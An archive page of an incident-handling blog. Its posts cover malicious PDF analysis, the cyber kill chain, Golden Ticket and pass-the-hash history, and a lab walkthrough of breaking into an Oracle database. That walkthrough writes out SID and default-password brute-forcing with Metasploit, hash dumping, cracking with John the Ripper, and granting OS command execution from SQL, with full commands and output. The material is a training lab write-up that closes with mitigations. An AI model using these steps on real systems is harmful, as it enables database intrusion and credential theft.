Category Archives: Incident Handling and Hacker Techniques

Malicious Documents – PDF Analysis in 5 steps

tojan-pdf

Mass mailing or targeted campaigns that use common files to host or exploit code have been and are a very popular vector of attack. In other words, a malicious PDF or MS Office document received via e-mail or opened trough a browser plug-in. In regards to malicious PDF files the security industry saw a significant increase of vulnerabilities after the second half of 2008 which might be related to Adobe Systems release of the specifications, format structure and functionality of PDF files.

Most enterprise networks perimeters are protected and contain several security filters and mechanism that block threats. However a malicious PDF or MS Office document might be very successful passing trough Firewalls, Intrusion Prevention Systems, Anti-spam, Anti-virus and other security controls. By reaching the victim mailbox, this attack vector will leverage social engineering techniques to lure the user to click/open the document. Then, for example, If the user opens a PDF malicious file, it typically executes JavaScript that exploits a vulnerability when Adobe Reader parses the crafted file. This might cause the application to corrupt memory on the stack or heap causing it to run arbitrary code known as shellcode. This shellcode normally downloads and executes a malicious file from the Internet. The Internet Storm Center Handler Bojan Zdrnja wrote a good summary about one of these shellcodes.  In some circumstances the vulnerability could be exploited without opening the file and just by having a malicious file on the hard drive as described by Didier Stevens.

From a 100 feet view a PDF file is composed by a header , body, reference table and trailer. One key component is the body which might contains all kinds of content type objects that make parsing attractive for vulnerability researchers and exploit developers. The language is very rich and complex which means the same information can be encoded and obfuscated in many ways. For example within objects there are streams that can be used to store data of any type of size. These streams are compressed and the PDF standard supports several algorithms including ASCIIHexDecode, ASCI85Decode, LZWDecode, FlateDecode, RunLengthDecode, CCITTFaxDecode, DCTCDecode called Filters. PDF files can contain multimedia content and support JavaScript and ActionScript trough Flash objects. Usage of JavaScript is a popular vector of attack because it can be hidden in the streams using different techniques making detection harder. In case the PDF file contains JavaScript, the malicious code is used to trigger a vulnerability and to execute shellcode. All this features and capabilities are translated in a huge attack surface!

From a security incident response perspective the knowledge about how to do a detailed analysis of such malicious files can be quite useful. When analyzing this kind of files an incident handler can determine the worst it can do, its capabilities and key characteristics. Furthermore it can help to be better prepared and identify future security incidents and how to contain, eradicate and recover from those threats.

So which steps could an incident handler or malware analyst perform to analyze such files. In case of malicious PDF files there are 5 steps. By using REMnux distro the steps are described by  Lenny Zeltser as being:

  1. Find and Extract Javascript
  2. Deobfuscate Javascript
  3. Extract the shellcode
  4. Create a shellcode executable
  5. Analyze shellcode and determine what is does.

A summary of tools and techniques using REMnux to analyze malicious documents are described in the cheat sheet compiled by Lenny, Didier and others. In order to practice these skills and illustrate an introduction to the tools and techniques below is the analysis of a malicious PDF using these steps.

The other day I received one of those emails that was part of a mass mailing campaign. The email contained an attachment with a malicious PDF file that took advantage of Adobe Reader Javascript engine to exploit CVE-2013-2729. This vulnerability found by Felipe Manzano exploits an integer overflow in several versions of the Adobe Reader when parsing BMP files compressed with RLE8 encoded in PDF forms. The file on Virus Total was only detected by 6 of the 55 AV engines. Let’s go through each one of the mentioned steps to find information on the malicious PDF key characteristics and its capabilities.

1st Step – Find and extract JavaScript

One technique is using Didier Stevens suite of tools to analyze the content of the PDF and look for suspicious elements. One of those tools is Pdfid which can show several keywords used in PDF files that could be used to exploit vulnerabilities. The previously mentioned cheat sheet contain some of these keywords. In this case the first observations shows the PDF file contains 6 objects and 2 streams. No JavaScript mentioned but it contains /AcroForm and /XFA elements. This means the PDF file contains XFA forms which might indicate it is malicious.

mal-pdf-step1-img1

 

Then looking deeper we can use pdf-parser.py to display the contents of the 6 objects. The output was reduced for the sake of brevity but in this case the Object 2 is the /XFA element that is referencing to Object 1 which contains a stream compressed and rather suspicious.

mal-pdf-step1-img2

Following this indicator pdf-parser.py allows us to show the contents of an object and pass the stream trough one of the supporter filters (FlateDecode, ASCIIHexDecode, ASCII85Decode, LZWDecode and RunLengthDecode only) trough the –filter switch. The –raw switch allows to show the output in a easier way to read. The output of the command is redirected to a file. Looking at the contents of this file we get the decompressed stream. When inspecting this file you will see several lines of JavaScript that weren’t on the original PDF file. If this document is opened by a victim the /XFA keyword will execute this malicious code.

mal-pdf-step1-img3

Another fast method to find if the PDF file contains JavaScript and other malicious elements is to use the peepdf.py tool written by Jose Miguel Esparza. Peepdf is a tool to analyze PDF files, helping to show objects/streams, encode/decode streams, modify all of them, obtain different versions, show and modify metadata, execution of Javascript and shellcodes. When running the malicious PDF file against the last version of the tool it can show very useful information about the PDF structure, its contents and even detect which vulnerability it triggers in case it has a signature for it.

mal-pdf-step1-img4

2nd Step – Deobfuscate  Javascript

The second step is to deobfuscate the JavaScript. JavaScript can contain several layers of obfuscation. in this case there was quite some manual cleanup in the extracted code just to get the code isolated. The object.raw contained 4 JavaScript elements between <script xxxx contentType=”application/x-javascript”> tags and 1 image in base64 format in <image> tag.  This JavaScript code between tags needs to be extracted and place into a separated file. The same can be done for the chunk of base64 data, when decoded will produce a 67Mb BMP file.  The JavaScript in this case was rather cryptic but there are tools and techniques that help do the job in order to interpret and execute the code.  In this case I used another tool called js-didier.pl which is a Didier version of the JavaScript interpreter SpiderMonkey. It is essentially a JavaScript interpreter without the browser plugins that you can run from the command line. This allows to run and analyze malicious JavaScript in a safe and controlled manner. The js-didier tool, just like SpiderMonkey, will execute the code and prints the result into files named eval.00x.log.  I got some errors on one of the variables due to the manual cleanup but was enough to produce several eval log files with interesting results.

mal-pdf-step2-img1

3rd Step – Extract the shellcode

The third step is to extract the shellcode from the deobfuscated JavaScript. In this case the eval.005.log file contained the deobfuscated JavaScript. The file among other things contains 2 variables encoded as Unicode strings. This is one trick used to hide or obfuscate shellcode. Typically you find shellcode in JavaScript encoded in this way.

mal-pdf-step3-img1

These Unicode encoded strings need to be converted into binary. To perform this isolate the Unicode encoded strings into a separated file and convert it the Unicode (\u) to hex (\x) notation. To do this you need using a series of Perl regular expressions using a Remnux script called unicode2hex-escaped. The resulting file will contain the shellcode in a hex format (“\xeb\x06\x00\x00..”) that will be used in the next step to convert it into a binary

mal-pdf-step3-img2

 

4th Step – Create a shellcode executable

Next with the shellcode encoded in hexadecimal format we can produce a Windows binary that runs the shellcode. This is achieved using a script called shellcode2exe.py written by Mario Vilas and later tweaked by Anand Sastry. As Lenny states ” The shellcode2exe.py script accepts shellcode encoded as a string or as raw binary data, and produces an executable that can run that shellcode. You load the resulting executable file into a debugger to examine its. This approach is useful for analyzing shellcode that’s difficult to understand without stepping through it with a debugger.”

mal-pdf-step4-img1

 

5th Step – Analyze shellcode and determine what is does.

Final step is to determine what the shellcode does. To analyze the shellcode you could use a dissasembler or a debugger. In this case the a static analysis of the shellcode using the strings command shows several API calls used by the shellcode. Further also shows a URL pointing to an executable that will be downloaded if this shellcode gets executed

mal-pdf-step5-img1

 

We now have a strong IOC that can be used to take additional steps in order to hunt for evil and defend the networks. This URL can be used as evidence and to identify if machines have been compromised and attempted to download the malicious executable. At the time of this analysis the file was no longer there but its known to be a variant of the Game Over Zeus malware.

The steps followed are manual but with practice they are repeatable. They just represent a short introduction to the multifaceted world of analyzing malicious documents. Many other techniques and tools exist and much deeper analysis can be done. The focus was to demonstrate the 5 Steps that can be used as a framework to discover indicators of compromise that will reveal machines that have been compromised by the same bad guys. However using these 5 steps many other questions could be answered.  Using the mentioned and other tools and techniques within the 5 steps we can have a better practical understanding on how malicious documents work and which methods are used by Evi.  Two great resource for this type of analysis is the Malware Analyst’s Cookbook : Tools and Techniques for Fighting Malicious Code book from Michael Ligh and the SANS FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Technique.

Tagged , , , , , ,

Intelligence driven Incident Response

killchainBack in March 2011, Eric Hutchins, Michael Cloppert and Dr. Rohan Amin from Lockheed Martin (US Gov defense contractor) released a paper named Intelligence Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains. This was a great contribution to the IT security community because it describes a novel way to deal with intrusions. They claim that current tools and models that deal with intrusions need to evolve mainly due to two things. First network defense tools focus on the vulnerability component of the risk instead of the threat. Second the traditional way of doing incident response happens after a successful intrusion.  To solve this problem they propose a model that leverages an understanding about the tools and techniques used by the attackers creating intelligence that is then used to decrease the likelihood success of an intrusion.  In order to understanding the threat actors , their tools and techniques they adopted models and terms that have origins in the US military. Essentially they propose to maps the steps taken by attackers during an intrusion. These steps are then intersected with a chain of events with the goal to detect, mitigate and respond to intrusions based on the knowledge of the threat using indicators, patterns and behaviors that are conducted during the course of action of the intrusion.

To map the attackers activity the authors propose an intelligence gathering element called indicator that is divided in three types:

  • Atomic – Atomic indicators are attributes relevant in the context of the intrusion and cannot be further divided into smaller parts. Examples include IP addresses, email addresses, DNS names.
  • Computed – Computed indicators are digital representation of data pertinent to the intrusion or patterns indentified with regular expressions. Examples include hashes from malicious files,  regular expressions used on IDS.
  • Behavioral – Behavioral indicators are a combination of atomic and computed indicators trough some kind of logic that outline a summary of the attackers tools and techniques. An example is well described by Mike Cloppert: “Bad guy 1 likes to use IP addresses in West Hackistan to relay email through East Hackistan and target our sales folks with trojaned word documents that discuss our upcoming benefits enrollment, which drops backdoors that communicate to A.B.C.D.’ Here we see a combination of computed indicators (Geolocation of IP addresses, MS Word attachments determined by magic number, base64 encoded in email attachments) , behaviors (targets sales force), and atomic indicators (A.B.C.D C2)”

The phases to map the attacker activity are based on US DoD information operations doctrine with its origins in the field manual 100-6 from the Department of the Army. This systematic process evolved over the years and is also described in the Air Force Doctrine Document 2-1.9 8 June 2006 as kill chain and referred in military language as dynamic targeting process F2T2EA (Find, Fix, Track, Target, Engage, and Assess) or F3EAD (Find, Fix, Finish, Exploit, Analyze and Disseminate). The authors expanded this concept and presented a new kill chain model to deal with intrusions. The 7 phases of the cyber kill chain are:

  • Reconnaissance : Research, identification and selection of targets, often represented as crawling Internet websites such as conference proceedings and mailing lists for email addresses, social relationships, or information on specific technologies.
  •  Weaponization : Coupling a remote access trojan with an exploit into a deliverable payload, typically by means of an automated tool (weaponizer). Increasingly, client applications data files such as Adobe PDF or Microsoft Office documents serve as the weaponized deliverable.
  •  Delivery : Transmission of the weapon to the targeted environment using vectors like email attachments, websites, and USB removable media.
  •  Exploitation : After the weapon is delivered to victim host, exploitation triggers intruders’ code. Most often, exploitation targets an application or operating system vulnerability, but it could also more simple exploit the users themselves or leverage an operating system feature that auto-executes.
  •  Installation : Installation of a remote access trojan or backdoor on the victim system allows the adversary to maintain persistence inside the environment.
  •  Command and Control (C2) : Typically, compromised hosts must beacon outbound to an Internet controller server to establish a C2 channel.
  •  Actions on Objectives : Only now, after progressing through the first six phases, can intruders take actions to achieve their original objectives. Typically this objective is data exfiltration which involves collecting, encrypting and extracting information from the victim environment. Alternatively, the intruders may only desire access to the initial victim box for use as a hop point to compromise additional systems and move laterally inside the network.

Then these steps are used to produce a course of action matrix that is modeled against a system that is used, once again, in military language as offensive information operations with the aim to  detect, deny, disrupt, degrade, deceive and destroy. The goal is to create a plan that degrades the attacker ability to perform his steps and forcing him to be reactive by interfering with the chain of events. This will slow the attackers movements, disrupt their decision cycles and will increase the costs to be successful.  The following picture taken from the original paper illustrates the course of action matrix.

courseofaction

 

This model is a novel way to deal with intrusions by moving from the traditional reactive way to a more proactive system based on intelligence gathered trough indicators that are observed trough out the phases. Normally the incident response process starts after the exploit phase putting defenders in a disadvantage position. With this method defenders should be able to move their actions and analysis up to the kill chain and interfere with the attackers actions. The authors  go even further to a more strategic level by stating that intruders reuse tools and infrastructure and they can be profiled based on the indicators. By leveraging this intelligence defenders can analyze and map multiple intrusion kill chains over time and understanding commonalties and overlapping indicators. This will result in a structural way to analyze intrusions. By repeating this process one can characterize intruders activity by determine the tactics, techniques and procedures on how the attackers operate i.e., perform a campaign analysis.

References and Further reading:

Mike Cloppert series of posts on security intelligence on the SANS Forensics Blog

Lockheed Martin Cyber Kill Chain

Sean Mason from GE on Incident Response

Tagged , , ,

Hands on Training to develop cyber security skills

abstractThe demand for qualified security professionals who possess the required skills and relevant education is increasing substantially. However, the supply is not meeting the demand. The information security industry is growing in size, density and specialization. Across all businesses we need people who understand computer systems, networks and security. In order to help facilitate the growth of these information security skills hands-on training (H.O.T.) can be used to make sure that our abilities have been tested in the most realistic way possible This paper will show how to build an environment that will represent real-world security issues and their respective flaws. Topics such as incident handling, intrusion analysis, system administration, network security, forensics or penetration testing can be taught and practiced. Among other objectives, the primary goal is to grow security expertise and awareness by using a low-cost, high return and self paced hands-on training method to allow us to understand attack methods in order to create effective defenses.

This is the abstract of my paper that was just released on the SANS reading room as part of my journey to get the GIAC GCIH gold certification. I started drafting the idea of writing a paper last October.  The experience was interesting, sometimes frustrating, long but with lots of fun. Essentially, I prepared all my ideas in the lab and practiced the different scenarios I wanted to share so they could be repeatable and consistent in order to be documented. In parallel I started to write some notes, do research and find references.  Around last December I submitted the first draft to SANS. They accepted the paper and assigned an advisor to work with me.  From that moment onwards I had a deadline of 6 months. It followed a series of back and forth with the advisor. I must admit that Dr. Johannes Ulrich from SANS was very supportive, responsive and  a great mentor during the all process.  I also would like to thank to Angel Parrizas for his constructive feedback during the paper creation and thoughts on the structure, Michael Bem for his help with the opening language, Grzegorz Drozda in the beginning with his SQL kung-fu and, finally, my family that had a lot of patience to deal with the long hours of computer.

My biggest challenge was the language in terms of structure, phrasing, diction, subject-verb agreement, and tense since English is a second language for me. I believe to create a paper like this you need strong motivation, willingness, persistence and family support but it is a rewarding experience and allowed me to share my experiences, learn, reinforce my knowledge and contribute to the community. I definitely recommend this exercise to anyone who is involved in the security industry.

The paper is available here!

Tagged ,

The path to the Golden Ticket

goldenticketLateral movement is one of the tactics used during an attack and is normally successfully due to some kind of credential theft that has happened at some point in time during the course of the attack. In order to materialize this  tactic there is a technique called pass-the-hash that has been used for long time. This was initially discovered by Paul Aston in 1997 on Unix SAMBA but became more mainstream in 2000 when Hernan Ochoa released a paper “Modifying Windows NT Logon Credential”. This technique evolved and it became very popular in 2007 when he released the Pass the Hash toolkit. This tool brought the pass-the-hash technique  mainstream because it could be easily executed on Windows systems. In the same year, Marcus Murray from TrueSec presented another tool during TechED that could leverage this same attack technique. Soon after that Ivan Bütler from Compass Security made an interesting paper about it. Also in the same year Benjamin Delpy `gentilkiwi` a French security researcher – less know at the time – released a tool called mimikatz.

The pass the hash attack takes advantage of cached credentials stored in the system which are used to authenticate to other resources in the network. Details are well explained by Skp Duckwall and Chris Campbell on their BlackHat 2013 paper “Microsoft has a credential problem” describing the issues that Microsoft has with credentials due to single sign on solutions that are in place which also affects smartcards For convenience and to improve customer experience, Microsoft behind the scenes implements different methods that allow a user to only type its username and password once. This permits the user to login into SharePoint, network shares, read email, etc without needed to constantly provide its credentials avoiding Mark Russinovich “credential fatigue” problem.  Outcome of this convenience is that credentials are cached. Meaning that using these type of technique,  the attacker with local admin or system privileges is able to retrieve the credentials from the process memory (LSASS) in a hash representation.  There are other places in storage where the credentials could be retrieved like the SAM database in a standalone environment or from the NTDS.dit file in an Active Directory domain. Then those password representations could be reused to spread across the network and increase attacker foothold. The usage of the some of the aforementioned tools are illustrated on SANS reading room on a paper from Bashar Ewaida.

Time has passed and in 2011 Hernan Ochoa strikes again by releasing a the evolution of the pass the hash toolkit into a new tool called Windows Credential Editor (WCE) which executes on 32bits and 64bits windows systems and can dump the NTLM/LM hashes of the credentials cached in the system by injecting into LSASS process or just by reading memory. The novelty was that  this tool introduced a new technique called pass the ticket which is the equivalent to the pass the hash but applied to the Kerberos tickets instead of NTLM/LM hashes. This technique is interesting because it can escalate the privileges on the attacker without cached credentials on the machine. Instead it can request Kerberos tickets that could be used for a period of 10 hours and be injected into an attacker session.

Also in 2011, Benjamin Delpy was able to demonstrate that not only password representations could be retrieved from memory but also the clear text passwords by taking advantage on how the credential provided for digest authentication works in Windows. For example If one user tries to authenticate to a website using the digest authentication method using a web browser it sends a computed hash trough the network. However, in order to compute this hash the digest credential provider (wdigest.dll) uses 3 elements and one is the password which means it needs to be stored in memory in order to be used.  Since then Benjamim has been further developing his research and mimikatz 2.0 is the last version of the tool focusing on Windows 2008R2 and 8.1. The tool has also been incorporated into Metasploit framework and it can also work offline by reading the LSASS memory dump that you can retrieve using process dump. This method was even incorporated as a plug-in of the memory forensics tool Volatility.

But Benjamim went even further with his research and he pleased the security community with the implementation of another novel technique that uses kerberos tickets to impersonate any user in the domain and defeat the 10 hours lifespan. This technique is known as the Golden Ticket (counterfeit Kerberos ticket) and takes advantage on the way Microsoft Kerberos implementation works and how it relies on the KRBTGT account. The secret key used to sign all Kerberos TGTs is the KRBTGT hash. This technique permits creating a valid Kerberos ticket that allows impersonation of any user in the Active Directory domain. If you have some time try the tool –   “The tool is great and It can extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets”

Why can’t Microsoft patch this problem? This works as designed and relies on current trust models. If you are logged in then the system has your credentials stored in memory to be used across the different credential providers to perform actions on behalf of the user and to facilitate single sign on. However, In order to mitigate the risk of this attack scenario, Microsoft created a taskforce called Pass the Hash workgroup that was mandated to identify tools, policies, best practices that companies could use to reduce the exposure to this attack. One of the outcomes of this taskforce were ways to mitigate the exposure to this attack that include restrict and protect high privileged credentials, restrict local accounts with administrative privileges and restrict inbound traffic on the host firewall. This and other recommendations are greatly explained in more detail in the white paper  “Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Techniques.

Many experts believe that a well-resourced and determined adversary will usually be successfully in attacking systems, even if the target has invested in its defensive posture. In case you might have been compromised and you were able to contain the damage, here are some recommendations on how to restore the active directory service to its state before the attack. Of course everyone wants to avoid these scenarios. One defense strategy that we (defense side) have is to continually increase the costs associated to executing the attack. The National Security Agency/Central Security Service. Information. Assurance. Directorate released a paper “Reducing the Effectiveness of Pass-the-Hash” that helps mitigates the exposure to this type of attack. The Computer Emergency Response Team (CERT-EU) for the EU institutions just released a white paper “Protection from Kerberos Golden Ticket” that contains good recommendations as well.

Tagged , , , , , , , ,

Simple and Practical Attack – Part 2

Following my last post, where an attacker established an entry point to the perimeter infrastructure, the following scenario describes how he might increase its foothold.

oracle

Databases are a rich pot of information which makes them strong candidates to be targeted regularly by someone with Evil intentions.  Even if databases are behind firewalls and installed in hardened operating systems it is important to mention that access is allowed from Web tiers, business applications and other specialized tools that need to connect to the database making attacks possible. In this scenario I added two Windows 2008 Standard edition servers to the network environment described in part 1. One is an  active directory domain controller and primary DNS server.  The other is a database server running the popular Oracle Enterprise Edition version 11.2.0.3. I created a database, configured Oracle Enterprise Manager and defined a listener on default port 1521.  With these components the environment was ready to perform tactics and techniques than an attacker might carry out in order to compromise a database. As result I could practice, learn and perform offensive techniques. Then, among other things I use this knowledge to create effective defenses and have some fun!

Because I am writing about databases and specially Oracle, the following brilliant individuals need to be mentioned David Litchfield, Alexander Polyakov, Alexander Kornbrust, Chris Anley, Slavik Markovich, Pete Finnigan and Paul Wright. A look at their books, articles or whitepapers for someone with interest in database security – especially in Oracle- is a must!

The steps described are the usual 5 steps that model an attack anatomy i.e., reconnaissance, scanning, exploit, keeping access and covering tracks . So, let’s start with scanning phase in order to find any open ports, which services are they offering and which operating systems are they running.

I started by launching Nmap to sweep the network and determine any open ports and services behind it.

root@linux:~# nmap -n -sV -Pn 10.0.0.0/24
Starting Nmap 6.40 ( http://nmap.org ) at 2014-05-10 17:35 EDT
Nmap scan report for 10.0.0.100
Host is up (0.00043s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
113/tcp closed ident
Nmap scan report for 10.0.0.170
Host is up (0.00084s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
113/tcp closed ident
1521/tcp open oracle-tns Oracle TNS Listener

The scan report revealed 2 hosts . One of them has TCP port 1521 open and running Oracle TNS Listener. The Oracle TNS (Transparent Network Substrate) Listener is the interface for all communications with the Oracle database. On older version of Oracle it was possible to probe the TNS listener to find information about the database SID, version and other relevant information using tools like tnscmd10g created by Saez Scheihing. The service identified (SID) is important to discover because it is required to login. This is the first thing an attacker need to find out. To determine the SID a brute force attack can be launched. Several tools  and methods are available to do this. For convenience and simplicity I will stick with the powerful Metasploit exploit framework which contains a module called sid_brute that connects to the TNS listener in order to attempt to discover the SID. This module uses a list of well known Oracle SID’s from Alexander Kornbrust website.

msf > use auxiliary/admin/oracle/sid_brute 
msf auxiliary(sid_brute) > show options
Module options (auxiliary/admin/oracle/sid_brute):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST 10.0.0.170 yes The target address
 RPORT 1521 yes The target port
 SIDFILE /opt/metasploit/apps/pro/msf3/data/wordlists/sid.txt.
 SLEEP 1 no Sleep() amount between each request.
msf auxiliary(sid_brute) > exploit
[*] Starting brute force on 10.0.0.170, 
using sids from /opt/metasploit/apps/pro/msf3/data/wordlists/sid.txt...
[+] 10.0.0.170:1521 Found SID 'ORCL'

This was easy to find because the SID was based on well known identifier that is used on default installations of Oracle. Next, I could try to login. When you install Oracle Database 11g Release 2 (11.2) all database accounts except SYS, SYSTEM DBSNMP and SYSMAN are locked.   During the installation you are prompted to create a password for these accounts that should be at least 8 characters in length, contain at least 1 uppercase character, 1 lower case character and 1 digit. However, this is not mandatory  and passwords such as “password” can be set.  By default the accounts also contain a default profile that locks the user accounts after 10 failed login attempts for the duration of 1 day.  Besides that,  the accounts credentials are case insensitive including the passwords. So, this is the second challenge – to find username/password combination – and can be resolved by using another Metasploit module called oracle_login. This module uses a list of well known Oracle default credentials from Pete Finnigan website to discover easily guessed accounts.

msf auxiliary(sid_brute) > use auxiliary/admin/oracle/oracle_login 
msf auxiliary(oracle_login) > show options
Module options (auxiliary/admin/oracle/oracle_login):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 CSVFILE /opt/metasploit/apps/pro/msf3/data/wordlists/oracle_default_passwords.csv.
 RHOST 10.0.0.170 yes The Oracle host.
 RPORT 1521 yes The TNS port.
 SID ORCL yes The sid to authenticate with.
[*] Starting brute force on 10.0.0.170:1521...
[*] Found user/pass of: sysman/sysman on 10.0.0.170 with sid ORCL
[*] Auxiliary module execution completed

Once again, it was easy to find because the Oracle default installation contains many default user/password combinations. Is fair to write that DBA’s have higher priorities such as performance and availability and often the security is left behind resulting in weak controls. Reviewing the security posture of your databases should be done by someone who understands security.

By knowing this, I could gain access to the database using the traditional SQL*Plus client.  Next, I would run a set of queries that would allow me to get more insight about the version of the database, which accounts are part of the DBA role and get the password representation for the users – this and other queries are compiled on the Red Team Field Manual.

root@linux:~# sqlplus sysman/sysman@//10.0.0.170/orcl
SQL*Plus: Release 10.2.0.4.0 - Production on Sat May 10 19:54:41 2014
Copyright (c) 1982, 2007, Oracle. All Rights Reserved.
Connected to:
Oracle Database 11g Release 11.2.0.1.0 - Production
SQL>
SQL> select * FROM v$version;
BANNER
--------------------------------------------------------------------------------
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
PL/SQL Release 11.2.0.1.0 - Production
CORE 11.2.0.1.0 Production
TNS for 32-bit Windows: Version 11.2.0.1.0 - Production
NLSRTL Version 11.2.0.1.0 - Production
SQL> select distinct grantee from dba_sys_privs where admin_option = 'YES';
GRANTEE
------------------------------
AQ_ADMINISTRATOR_ROLE
DBA
SCHEDULER_ADMIN
OWBSYS
APEX_030200
SYSTEM
SYS
WMSYS
SQL> select user from dual;
USER
------------------------------
SYSMAN
SQL> select name,password,astatus from sys.user$;
NAME PASSWORD ASTATUS
------------------------------ ------------------------------ ----------
SYS 92F9365E5CAB72B0 0
SYSTEM 2C7B1C1AEF52E670 4
SYSMAN 447B729161192C24 0
93 rows selected.

New versions of Oracle keep the password representation in SHA-1 algorithm but in this case the traditional method is still enforced which uses a DES encryption algorithm without real salt and can be brute forced in a timely manner.  So, with valid credentials and their respective hashes I could attempt to crack them in order to gain DBA access. Next, I launched an offline dictionary attack against the hashes using John the Ripper – An old timer, extremely flexible and powerful password cracking tool written by Alexander Peslyak (Solar Designer). The hashes need to be in a format that JtR understands it as being oracle hashes.

root@linux:~# cat oracle.hash 
O$SYS#92F9365E5CAB72B0
O$SYSTEM#2C7B1C1AEF52E670
root@linux:~# john oracle.hash --wordlist=/usr/share/wordlists/fasttrack.txt
Loaded 2 password hashes with 2 different salts (Oracle 10 DES [32/32])
JACKP0T! (?)
JACKP0T! (?)
guesses: 2 time: 0:00:00:00 DONE (Sun May 25 13:39:25 2014) c/s: 25.00 trying: JACKP0T!
Use the "--show" option to display all of the cracked passwords reliably

With this the database its data is fully owned by the attacker!

root@linux:~# sqlplus sys/'Jackp0t!@//10.0.0.170/orcl as sysdba

SQL*Plus: Release 10.2.0.4.0 – Production on Sat May 10 19:54:41 2014 Copyright (c) 1982, 2007, Oracle. All Rights Reserved. Connected to: Oracle Database 11g Release 11.2.0.1.0 – Production SQL>

The attacker could now fully access to the database contents. This contents could be any kind of intellectual property or personal identifiable information that an attacker would attempt to steal. This is potentially the his end goal.

However, following this I could weaponize the access to interact with the operating system and further continue my exploit actions. To interact with the database there are different methods that are great explained in the books and articles from the mentioned researchers. Some of them are based on procedural programming language known as PL/SQL. Packages like  UTL_FILE for File access and DBMS_SCHEDULER allow to execute shell command. Others are based on Java. Carsten Czarsk created a set of PLSQL packages based on Java for Oracle which provide access to the OS shell and the file system from SQL. The packages provide operations on files  as well as the execution of shell commands.  This package to be successfully installed needs Java Virtual Machine which is embedded in the database by default. After installation in order to be able to execute the Java functions and procedures  you will need appropriate privileges. To set this privileges you need DBA rights, but as illustrated earlier gaining such privileges is not difficult. After downloading the package, unzip it and install it.

root@kali:~/tmp# unzip PLSQL_OSCOMMAND_1.0.zip
root@kali:~/tmp# cd src/11g/
root@kali:~/tmp/src/11g# sqlplus system/oracle@//10.0.0.170/ORCL
SQL*Plus: Release 10.2.0.5.0 - Production on Thu May 29 10:50:42 2014
SQL> select comp_name, version from dba_registry where comp_name like '%JAVA%';
COMP_NAME
--------------------------------------------------------------------------------
VERSION
------------------------------
JServer JAVA Virtual Machine
11.2.0.1.0

Next, by invoking the install.sql script the PL/SQL package will be installed. Following  that, appropriate Java permissions and an additional statement needed for Windows system are executed.

SQL> start "install.sql"
*************************************************
** 1. Installing Java Code ...**
*************************************************
** 2. PL/SQL Package Specs**
*************************************************
** 3. PL/SQL Package Bodys**
No errors.
SQL>
SQL> begin
-- this grants read privilege on STDIN
dbms_java.grant_permission(
grantee => 'SYSTEM',
permission_type => 'SYS:java.lang.RuntimePermission',
permission_name => 'readFileDescriptor',
permission_action => null
);
-- this grants write permission on STDOUT
dbms_java.grant_permission(
grantee => 'SYSTEM',
permission_type => 'SYS:java.lang.RuntimePermission',
permission_name => 'writeFileDescriptor',
permission_action => null
);
-- this grants execute privilege for ALL shell commands: VERY DANGEROUS!
dbms_java.grant_permission(
grantee => 'SYSTEM',
permission_type => 'SYS:java.io.FilePermission',
permission_name => '<<ALL FILES>>',
permission_action => 'execute'
);
end;
 /
PL/SQL procedure successfully completed.
Elapsed: 00:00:00.91
SQL> begin
 os_command.set_exec_in_shell;
end;
/
PL/SQL procedure successfully completed.
Elapsed: 00:00:00.24
set long 20000

 

Now, I could execute OS commands with access to STDIN, STDOUT and many other things. I started by executing the OS_COMMAND package that allows  shell commands execution from the SQL engine.  First by launching the “ver” command that outputs the version of windows the database is running on. Next, I executed a “dir” and I could see that the directory contents of the Oracle folder were shown. Many other commands can now be used in order to gain advantage and further compromise the system. I will leave the journey from getting down from the Database to the Operating system level using other tools and techniques on part 3!

 

SQL> select os_command.exec_clob('ver') from dual;
OS_COMMAND.EXEC_CLOB('VER')
--------------------------------------------------------------------------------
Microsoft Windows [Version 6.0.6001]


SQL> select os_command.exec_clob('dir') from dual;
OS_COMMAND.EXEC_CLOB('DIR')
 --------------------------------------------------------------------------------
 Volume in drive C has no label.
 Volume Serial Number is 4426-F394
 Directory of C:\app\product\11.2.0\dbhome_1\DATABASE
 05/22/2014 12:43 PM <DIR> .
 05/22/2014 12:43 PM <DIR> ..
 05/22/2014 12:38 PM <DIR> archive
 05/22/2014 12:40 PM 2,048 hc_orcl.dat
 12/22/2005 05:07 AM 31,744 oradba.exe
 05/25/2014 09:05 AM 1,536 PWDorcl.ora
 OS_COMMAND.EXEC_CLOB('DIR')
 --------------------------------------------------------------------------------
 05/25/2014 10:03 AM 2,560 SPFILEORCL.ORA
 4 File(s) 37,888 bytes
 3 Dir(s) 47,146,033,152 bytes free

 

That’s it for now! Let’s summarize the mistakes made by Ville.com so one perhaps learn from their errors and omissions.

Mistake #1 – Ville.com was using the Oracle default SID. With this knowledge an attacker could attempt to connect to the database. The SID was easily guessed using Metasploit and a dictionary attack using well known SIDs. Ville.com should consider applying a strong SID which contains the same characteristics as a strong password and not based on a dictionary word.

Mistake #2 :  A common username/password combination based on dictionary with default account lock-out settings was used. This made an dictionary based attack easy to pull off using Metasploit. Ville.com should consider applying as countermeasure to prevent such attacks a strong password or pass-phrase. Make sure is at least 12 characters long with a combination of numbers, upper and lower case letters plus special characters. Furthermore, passwords should be changed often. Other than that whenever possible leverage the possibility to authenticate database administrators using the Operating System or external systems.

Mistake #3 : Ville was not using the latest patches and security recommendations from Oracle. Patching is one of the most effective recommendations that someone should take. By using an outdated system the DBA exposed all user accounts due to an old encryption algorithm (DES) that can be easily brute forced using John the Ripper. Oracle releases Critical Patch Updates on January, April, July and October on the Tuesday closest to the 17th day of the month. By enforcing latest Oracle recommendations the passwords should have been stored on the database using strong algorithms such as SHA-1 with salt.

Mistake #4 : Ville.com was not using any kind of central logging system that would allow one to easily identify abnormal activity in the database. This allows the attacker who gained DBA privileges to tamper with the audit trails. By using a central logging system it would allow a diligent sysadmin to do log review and identify abnormal activity even in case the attacker would attempt to cover its tracks. In addition appropriate audit should be implemented at database and operating system level that would allow a normal routine check to expose the attacker.  By default Oracle databases do not audit SQL commands executed by the privileged SYS, and users connecting with SYSDBA or SYSOPER privileges which means this are going to be the attackers first choice.

Many other great recommendations on how to secure Oracle are provided directly by Oracle on their security guide and by the folks mentioned in the beginning of this article.

